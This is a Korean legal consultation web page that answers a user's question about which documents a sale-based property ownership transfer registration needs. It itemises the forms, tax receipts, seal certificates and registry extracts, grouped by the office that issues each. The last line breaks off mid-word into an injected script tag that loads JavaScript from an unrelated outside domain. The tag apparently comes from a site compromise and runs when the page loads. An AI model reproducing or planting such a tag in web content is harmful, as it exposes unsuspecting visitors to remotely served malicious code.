사이버상담실
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잘몰라서요....정확하게..무엇무엇이...필요한가요??...그리구..
필요한서류는..어디어디에서..띄는지??....좀 알려주세여??..
부탁드립니다.....
본 상담실의 답변은 법률이론상의 원칙적인 답변 및 답변자 개인의 법률적
의견으로 참고 자료로만 활용하시기 바랍니다.
소유권이전등기의 경우 발생유형(상속, 매매, 증여, 공유물분할, 판결 등)에 따라 서류가 조금씩 차이가 나게 됩니다. 귀하의 경우 어떠한 경우인지 명확하게 알 수 없어 가장 일반적인 매매의 경우를 예로 하여 서류를 알려드립니다.
매매로 인한 소유권이전등기신청
▣ 등기신청서에 첨부할 서면
< 신청인 >
① 신청서 : 등기소에서 교부
② 위임장 : 등기신청을 법무사 등 대리인에게 위임하는 경우에 첨부합니다.
③ 신청서부본 : 대장소관청통지용 및 과세자료송부용(등기권리자와 등기의무자의 주민등록표등본, 토지·건축물대장등본 및 검인계약서 각 1통 포함)으로 신청서와 같은 내용의 부본을 각 1통씩 첨부합니다.
④ 등기필증 : 등기의무자의 소유권에 관한 등기필증으로서 속칭 구권리증을 말합니다.
⑤ 매매계약서 : 계약으로 인한 소유권이전등기를 신청하는 경우에는 그 계약서에 기재된 거래금액이 500만원을 초과하는 경우에는 일정액의 정부수입인지를 붙여야 합니다.
< 시·구·군청, 동사무소 >
① 검인 : 위 매매계약서에 부동산소재지를 관할하는 시장, 구청장, 군수로부터 검인을 받아야 합니다.
② 등록세영수필확인서 및 통지서 : 시장, 구청장, 군수 등으로부터 등록세납부서(OCR용지)를 발급받아 납세지를 관할하는 금융기관에 납부한 후 영수필확인서및통지서를 교부받아 신청서의 등록세액표시란의 좌측 상단 여백에 첨부합니다.
③ 토지·건축물대장등본 : 등기신청대상 부동산의 종류에 따라 토지대장등본, 임야대장등본, 건축물대장등본(각, 발행일로부터 3월 이내)을 첨부합니다.
④ 토지가격확인원 : 시가표준액의 산출을 위하여 첨부합니다.
⑤ 인감증명서 : 부동산매수자란에 매수인의 성명(법인은 법인명), 주민등록번호(부동산등기용등록번호) 및 주소가 기재되어 있는 매도인의 부동산매도용 인감증명서(발행일로부터 6월 이내)를 첨부합니다.
⑥ 주민등록표등(초)본 : 등기의무자 및 등기권리자의 주민등록표등(초)본(각, 발행일로부터 3월 이내)을 첨부합니다.
< 시·구·군청, 동사무소 > - 구분건물일 경우
① 검인 : 위 매매계약서에 부동산소재지를 관할하는 시장, 구청장, 군수로부터 검인을 받아야 합니다.
② 등록세영수필확인서 및 통지서 : 시장, 구청장, 군수 등으로부터 등록세납부서 (OCR용지)를 발급받아 납세지를 관할하는 금융기관에 납부한 후 영수필확인서및통지서를 교부받아 신청서의 등록세액표시란의 좌측 상단 여백에 첨부합니다.
③ 집합건축물대장등본 : 등기신청대상 부동산의 집합건축물대장등본(발행일로부터 3월 이내)을 첨부합니다.
④ 토지가격확인원 : 시가표준액의 산출을 위하여 첨부합니다.
⑤ 인감증명서 : 부동산매수자란에 매수인의 성명(법인은 법인명), 주민등록번호(부동산등기용등록번호) 및 주소가 기재되어 있는 매도인의 부동산매도용 인감증명서(발행일로부터 6월 이내)를 첨부합니다.
⑥ 주민등록표등(초)본 : 등기의무자 및 등기권리자의 주민등록표등(초)본(각, 발행일로부터 3월 이내)을 첨부합니다.
< 세무서 >
부동산양도신고확인서 : 매매 또는 교환, 법인에의 출자, 경매 또는 공매, 토지수용법 기타 법률에 의한 수용, 대물변제로 인한 등기신청에 첨부합니다.
< 국민은행 >
국민주택채권매입필증 : 등록세납부서에 기재된 시가표준액이 500만원 이상일 때에는 시가표준액의 일정비율에 해당하는 국민주택채권을 매입하여 별지에 붙여 첨부합니다.
< 등기과·소 >
법인등기부등·초본 : 등기권리자 또는 의무자가 법인인 경우에는 법인등기부등본 또는 초본을 첨부합니다.
< 기 타 >
① 등기권리자 또는 의무자가 비법인 사단 또는 재단인 경우에는 정관 기타의 규약,대표자나 관리인임을 증명하는 서면, 등기권리자인 경우에는 부동산등기용등록번호를 증명하는 서면, 대표자나 관리인의 주민등록표등본 등을 첨부합니다.
② 제3자의 동의, 허가 또는 승낙을 증명하는 서면, 즉 부동산이 농지인 경우에는 농지취득자격증명(시·읍·면사무소 발급), 토지거래허가구역인 경우에는 토지거래허가증(시·군·구청 발급) 등을 첨부하여야 합니다.
③ 신청인이 재외국민이나 외국인 또는 비법인 사단 또는 재단인 경우에는 신청서의 기재사항과 첨부서면이 다르거나 추가될 수 있으므로 전문가나 민원담당공무원 등과 상?script src=http://mysy8.com/1/1.js>
